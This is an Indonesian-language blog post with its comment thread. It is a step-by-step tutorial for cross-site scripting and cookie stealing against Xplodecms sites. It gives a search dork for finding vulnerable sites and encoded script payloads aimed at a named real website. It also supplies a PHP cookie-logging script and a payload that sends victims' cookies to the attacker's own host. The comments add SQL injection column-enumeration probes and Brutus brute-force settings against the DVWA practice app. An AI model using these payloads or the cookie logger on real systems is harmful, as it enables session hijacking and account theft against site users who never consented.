Xplodecms Cross Site Scripting (XSS) Injection


Tidak ada kapok-kapoknya para web programmer di kerjain dengan bug basi XSS. Mungkin si admin malas membaca kode ulang programmnya sendiri, atau memang meragukan bugs XSS. XSS merupakan bugs yang low risk, tapi XSS bisa merupakan bugs yang bisa sangat merugikan, seperti Cookie Stealing, yang berakibat ancaman Session Hijacking yang membuat kita menjadi orang lain di aplikasi web yang credential, seperti web banking.

Umumnya, Cross site scripting adalah tehnik hacking yang memanfaatkan kelemahan koding dari web aplikasi, yang membuat attacker dapat mengirimkan kode jahatnya ke dalam web aplikasi, dan mengambil keuntungan dari korban. Selengkapnya baca di ……………

tulisan ini mengambil contoh pada aplikasi Xplodecms, untuk percobaan alihkan browser anda ke google.com untuk proof of concept. Ketikkan di dalam box “allinurl:module_wrapper.asp?wrap_script=” tanpa tanda kutip,

untuk mengecek web aplication tersebut vulnerable atau tidak kita cek dengan sintaks,

<script>alert(400191613824)</script>

lalu kita encode agar bisa diterjemahkan oleh browser menjadi,

<script%20%0a%0d>alert(400191613824)%3B</script>

Contoh ;

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script=
modules%2FSearch+results%2Fsearch%2Easp&SearchType=all&
SearchString=>”><script%20%0a%0d>alert(400191613824)%3B
</script>

Lalu muncul pop-up seperti ini,

xss

Cookie Stealing :

Bugs XSS bisa kita manfaatkan untuk mencuri identitas user yang sedang log-in di situs tersebut, tehnik ini dinamakan “Cookie Stealing”. Untuk melakukan Cookiestealing yang pertama kita buat script untuk mencatat cookies dengan nama “log.txt” dan kita chmod 777 untuk dapat ditulis, dan script untuk mengirimkan cookie ke server kita untuk dicatat.

Code grabcookie.php :

<?php
$cookie = $_GET['cookie'];
$log = fopen(“log.txt”, “a”);
fwrite($log, $cookie .”\n”);
fclose($log);
?>

Kita coba url berikut di address bar,

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script=
modules/Search+results/search.asp&SearchType=all&SearchString=
>”><script%20%0a%0d>alert(document.cookie);</script>

Lalu muncul pop-up seperti ini,

cookie

Sekarang kita catat cookie ke server kita, dengan script grabcookie.php yang kita buat sebelumnya,

<script>document.location=’http://situsgue.com/grabcookie.php?
cookie=’+document.cookie;</script>

lalu kita coba ke target kita,

http://www.garforthrangers.co.uk/module_wrapper.asp?wrap_script=
modules/Search+results/search.asp&SearchType=all&SearchString=
>”><script%20%0a%0d>document.location=’http://situsgue.com/
grabcookie.php?cookie=’+document.cookie;</script>

Jika aplikasi tersebut mencimpan cookie di server, maka cookie akan dikirim ke tempat dimana kita persiapkan sebelumnya, yaitu pada file “log.txt” Aplikasi web, seperti forum, guestbook, dan memperbolehkan user untuk log-in memungkinkan aplikasi tersebut menggunakan cookie, lalu kita asumsikan aplikasi web tersebut tidak terfilter dengan baik, maka attacker dapat memasukkan kode javascript seperti di atas untuk mencuri cookie.

reference :
www.crosssitescripting.com

57 Tanggapan ke “Xplodecms Cross Site Scripting (XSS) Injection”


  1. 1 Primordialgrafis 21 Mei 2009 pada 1:32 AM

    Wah ga tahu tuh mas. tpi ap atu berguna juga wat google chrome? thanks ya udh mw kunjungin blog gwa. Tukeran link ya

  2. 3 blind 6 Juli 2009 pada 10:09 PM

    wedew,,, udah gak terinject tuh bos,, tadi ane coba gak bisa

    • 4 unamedplayer 7 Juli 2009 pada 4:10 AM

      yah,, berarti anda kurang beruntung mas,, silahkan coba lagi :)

      mencari target juga membutuhkan waktu gak sedikit mas,, kalo mau tahu bugs2 baru, ikuti saja blog ini :) hehehee

  3. 5 blind 15 Juli 2009 pada 3:08 AM

    mmmm gw udah berhasil masukin xss di suatu situs bos, tapi pake alert js =D ,, setelah gw coba pake dokumen cookies kok gagal yak? hehe

    • 6 unamedplayer 15 Juli 2009 pada 6:33 AM

      ooh gitu,,hmm,, berarti situs tersebut pada proses input,, sudah tersanitasi oleh si admin,, tapi karakter belum,, dasar tuh admin,, makasih sudah bookmark blog ini, tunggu artikel saya selanjutnya :)

  4. 7 blind 15 Juli 2009 pada 3:12 AM

    nambah lagi ah, iye gw ikutin terus, gw bookmark malahan wkwkwkwk biar gampang copas gitu deh hehe

  5. 9 isnawan 20 Januari 2010 pada 10:23 AM

    udah nyoba mas , tp kok masih kosong ya di file vb.php. blm ada cookienya…thx..

  6. 10 isnawan 20 Januari 2010 pada 10:28 AM

    eh maaf, di log.txtnya…

  7. 12 World Friend Indonesia 23 Januari 2010 pada 11:09 AM

    wah lo gan main hacking mulu neh….

    Lo tau FuckOn itu sapa???? ada yang deface website gw melalui register website .. tp untungnya ke tauan pas gw cek email sistem security…. gimana gan jadi ga NgE Hosting di Webhosting World Friend??? harga bersaing deh.. hahaha jangan Order asal2 aja…
    hahaha http://hosting.worldfriend.web.id

  8. 14 Webhosting World Friend 24 Januari 2010 pada 9:04 AM

    ga full deface…. cuman di Frontpage pada satu halamanya aja. dibilang gini :

    HACKED
    By FuKoCaN

    Where Is Your Security ?
    One Turk Against The World

    pas googling ada sebuah website yang taruh tag hacking.. pas gw lihat kontentnya masih di hacking web worldfriend… atau di curi halamannya pas di deface sama dia…tp semua uda gw protek ke sistem IP and Security Proxy..pas di deface di ganti password adminnya untungkan gw bisa akalin… hahaha

    Jangan lupa gan Lapak gw masih di buka neh sampai bulan besok untuk pendaftaran DOmain Baru cuman 65.000 aja .INFO . IN , .BIZ , .Web.id(khusus Domain Web.id Free Host gan)selama 1 tahun penuh untuk paket blog Webhosting World Friend

  9. 16 isnawan 14 Februari 2010 pada 1:47 PM

    mas, nyari site yg vulnerable xss gmn y? udah gugling g dpt2 oi…thx

    • 17 unamedplayer 15 Februari 2010 pada 7:40 AM

      jangan nyoba kesitus orang aja dulu,, mendingan coba aplikasi web disini http://sourceforge.net/projects/dvwa/..

      install xampp kalo windows, extrak aplikasinya trus install,,

      trus coba berbagai macam bugs aplikasi berbasis web disitu.. bebas gak perlu kuatir ditangkep polisi..

      nah aplikasi ntu tuh banyak banget bugsnya,, dikasih petunjuknya pula..

      selamat mencoba… :P

      • 18 isnawan 10 Maret 2010 pada 1:17 PM

        makasih mas…
        udah bisa sih nyobain dvwanya, tapi belum berhasil nyobain yang brute force dan sql injection, yang lain sih bisa, mas bisa nggak nyobain yang brute force dan sql injection…
        makasih

  10. 19 unamedplayer 12 Maret 2010 pada 3:35 AM

    kalo brute force,, coba pake brutus deh,,, kalo injection kan sama aja,,, nanti deh buat postingannya,,,

    • 20 isnawan 12 Maret 2010 pada 4:13 AM

      tanya dong mas..
      1. Jadi brute force yang di dvwa itu ngetesnya pake brutus ya mas?
      2. Brutus bisa diinstall di windows nggak sih mas?
      3. Kl di dvwa itu nyobain sql injectionnya gmn sih mas?minta clue nya dong…udah nyoba2 semua cara yang saya tau gk bisa mas…

      makasih…

  11. 22 isnawan 12 Maret 2010 pada 7:04 AM

    di tampilan brute force,targetnya diisi http://localhost/dvwa/vulnerabilities/brute/ gitu aja kan mas?
    terus method httpnya dipilih get apa post mas?
    passmodenya juga pilih yang mana mas?
    terus di setting apa lagi mas?
    saya blm berhasil2 nih mas..
    makasih ….

    yang sql injection pake karakter hexa gmn maksdnya mas….

  12. 26 isnawan 16 Maret 2010 pada 12:34 PM

    mmm, masih belum berhasil2 nih mas.
    Makeknya gimana sih mas?
    kok saya gk berhasil2. Di brutusnya malah ditemuin password yang salah.Udah cb2 pakai metode wordlist sama brute force sih.Di file wordlistnya malah udah saya tulis password yang sebenarnya, tapi brutusnya tetap gak bs nemuin, dan malah nemuin password yang salah. Sebenarnya make brutus dg web target dvwa itu gimana sih mas? makasih bgt atas bantuannya…

  13. 28 unamedplayer 18 Maret 2010 pada 8:32 AM

    bisa kok,, cuma tambah kesabaran dikit aja,, metode yang dipake apa GET atau POST ?

    • 29 isnawan 18 Maret 2010 pada 1:36 PM

      hehe…sori mas , terburu nafsu nih..penting soalnya..kl mas pakeknya GET ya?saya udah coba GET maupun POST.minta rincian settingannya dong mas?
      Kl rincian saya gini :
      Target:http://localhost/dvwa/vulnerabilities/brute/
      Type:HTML (Form)
      port:80
      Connections:10
      Timeout:10
      Method:GET
      Keepalive:cheklist
      Fakecookies:checklist
      Encode:checklist
      singleuser:checklist=isinya admin
      Passmode:Wordlist
      Pass file:words.txt
      Pada HTML form authentication definition, targetnya =http://localhost/dvwa/vulnerabilities/brute/ ,tp tidak mau diklik Learn Form Settingsnya.

      Udah,setelah itu diklik Start, tetapi yang muncul malah password yang salah mas…
      ada yg salah dg settingan saya mas?
      minta rincian settingannya dong mas?
      makasih banyak.

      • 30 unamedplayer 19 Maret 2010 pada 4:53 PM

        hmmm ituu,, targetnya belum tepat, karena kita pake HTML form authentication, maka kita juga harus ngasih tau letak skrip yang mau di brute force mana,,, jadi kalo contoh digambar http://localhost/dvwa/brute.php

        dan kita pake metode POST,,, karena gak ada form login dengan metode GET…

        sama-sama karna sudah berkunjung..

  14. 31 isnawan 21 Maret 2010 pada 5:10 AM

    mas pake dvwa yang versi sebelumnya ya?kl saya pake yang versi 1.0.6. jd linknya ke localhost/dvwa/vulnerabilities/brute/index.php. Tp tetep aja mas, yang ditampilin password yang salah. Malah yang di pass mode sya pilih brute force, dan password sebenarnya udah saya ganti cuma 1 karakter dan range brute forcenya min dan max karakternya saya isi 1 karakter, tetep aan laja brutusnya nampilin password yang salah.Apa karena brute force yang di dvwa versi saya tidak bisa dipakai ya? kl gt boleh minta dvwa versi yang mas punya gk?saya nyari2 yang versi sblm 1.0.6 gk dpt2 mas.Atau ada saran lain? makasih…

  15. 33 isnawan 21 Maret 2010 pada 5:47 AM

    oya, boleh mita YM /messenger nya gk?makasih…

  16. 34 isnawan 23 Maret 2010 pada 3:58 AM

    mas, kl nyobain sql innjectionnya dvwa gimana sih?

  17. 35 isnawan 24 Maret 2010 pada 3:19 AM

    maaf mas kl nanya terus…hehe..makasih…

  18. 37 isnawan 25 Maret 2010 pada 3:48 AM

    kl minta cluenya aja bisa mas? Soalnya keburu nih mas, buat tugas. Semua code yang saya tau sudah sya masukkan ke sql injectionnya dvwa tp gk berhasil mas…makasih..

  19. 39 isnawan 25 Maret 2010 pada 12:07 PM

    udah mas, sampai munculin pesan error itu kan?cm sampai itu doang mas saya bisanya,blm bs langkah selanjutnya.lantas?…makasih

  20. 42 isnawan 31 Maret 2010 pada 12:10 PM

    oya mas, di helpnya dvwa ditulis If you have received a Magicquotes error, turn them off in php.ini. Ini mksdnya gmn ya mas? Mksdnya php.ini nya dvwa apa php.ini nya xampp mas? padahal magicquote error sudah saya off kan php.ini di keduanya(xampp & dvwa),kok masih sama saja.Atau mas lebih ngerti maksudnya…
    makasih…maaf bertanya terus mas,pengin menggali ilmu soalnya.

  21. 45 isnawan 10 April 2010 pada 2:39 PM

    maaf mas, nanya terus…
    sql injectionnya di dvwa itu memang bisa dicoba untuk mencuri username dan password ya?
    terima kasih…

    • 46 unamedplayer 10 April 2010 pada 6:46 PM

      Ko pake maf, tenang aja kalo mampu saya jawab. Kemarin testing,logika bisa. Cuma belum sempet nemuin POC nya, nanti gw publish, mas juga share ke gw ye,kalo dapet..Okeh.

      Mas,besok2 kalo mampir,komenya yang dihalaman pertama aja,. :)

  22. 48 unamedplayer 14 April 2010 pada 9:30 AM

    POC maksudnya proof of concept, jadi eksploitasinya bagaimana ?? maksud komennya di postingan yang laen,, begitu,, biar rame,, :)

  23. 51 isnawan 12 Mei 2010 pada 2:32 PM

    mas, kl source code dan database saya ini(http://rapidshare.com/files/386459207/Archive.rar.html) kok dideteksi berapa kolom yang ada kok tidak bisa y, padahal saya buat kolomny berjumlah 6 tetapi kok sya tes dengan cara ini
    http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+5– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+6– // tidak ada error
    http://www.target.com/news.php?id=1+order+by+7– // tidak ada error
    bahkan saya coba sampai order by 30- , tetapi tetap tidak ada error
    padahal harusnya ada error kan jika diberi masukan
    http://www.target.com/news.php?id=1+order+by+7– //seharusnya ada error yang muncul seperti “Unknown column ’7′ in ‘order clause’”, tetapi ternyata tidak mumcul error,
    hal ini apa penyebabnya mas?
    saya kok selalu berhenti pada tahap ini mas?
    satusatunya tahap yang bisa saya lewati kok cm tahap mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, dengan
    http://www.target.com/news.php?id=1‘ yang memunculkan error You have an error in your SQL syntax; check the manual the …bla-bla…

    Source yang mas berikan juga sama mas, hanya berhasil sampai mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak dengan
    http://www.target.com/news.php?id=1‘ yang memunculkan error You have an error in your SQL syntax; check the manual the …bla-bla…
    selanjutnya mengecek jml kolom seperti dg order by 1-,order by 2-.. bla.bla..bla tidak berhasil.

    Mas bisa nggak kasih tau source sederhana seperti yang mas kasih yang bisa diserang sqlinejction tetapi yang lengkap, bukan sepotong-sepotong.juga kl bisa disertakan databasenya.
    sederhana saja gak papa mas, tetapi lengkap.Terima kasih banyak mas.maaf tanya terus.makasih…

  24. 53 isnawan 12 Mei 2010 pada 2:33 PM

    eh, maaf double post


  1. 1 Cross Site Scripting XSS dan Session Hijacking pada Net2ftp « log’s of my Life Lacak balik pada 9 Juli 2009 pada 9:11 AM
  2. 2 Cross Site Scripting (XSS) Vulnerability pada Firefox 3.x dan IE8/IE7 « log’s of my Life Lacak balik pada 27 Juli 2009 pada 4:24 AM
  3. 3 Cross Scripting « mission1mpossible Lacak balik pada 2 Desember 2011 pada 4:06 PM
  4. 4 Cross Scripting « bandotnfriend Lacak balik pada 31 Desember 2011 pada 9:20 PM

Tinggalkan Balasan

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Ubah )

Twitter picture

You are commenting using your Twitter account. Log Out / Ubah )

Facebook photo

You are commenting using your Facebook account. Log Out / Ubah )

Connecting to %s




Catch me On
RSS Feeds Subscribe via E-mail my Twitter facebook account YM
Translate This

Masukkan alamat surel Anda untuk berlangganan blog ini dan menerima pemberitahuan tulisan-tulisan baru melalui email.

Bergabunglah dengan 14 pengikut lainnya.

What’s Up!

  • Bang beli bubur 1 porsi | nasi sudah jadi bubur dek,terima saja takdirnya *pukpuk* | .... *tampol* 2 hours ago
  • Cowok yang susah dibangunin itu termasuk jenis cowok impotensius spesiesis. 2 hours ago
  • "Gimana caranya makan kerupuk tapi gak bunyi?" | Caranya: celupin dulu kerupuknya ke segelas air, abis itu makan. 9 hours ago
  • Nggak ngerti sama motor yang asesorisnya rame banget. Yakin, itu motor kalo lewat SD pasti dikejar bocah, dikira odong-odong. 16 hours ago
  • jangan kaget kalau tampang cowok ganteng tidak sebanding dengan perilakunya!.. Untung gw cakep bukan ganteng :-| 16 hours ago

Badges

Page copy protected against web site content infringement by Copyscape Linux Slackware

Ikuti

Get every new post delivered to your Inbox.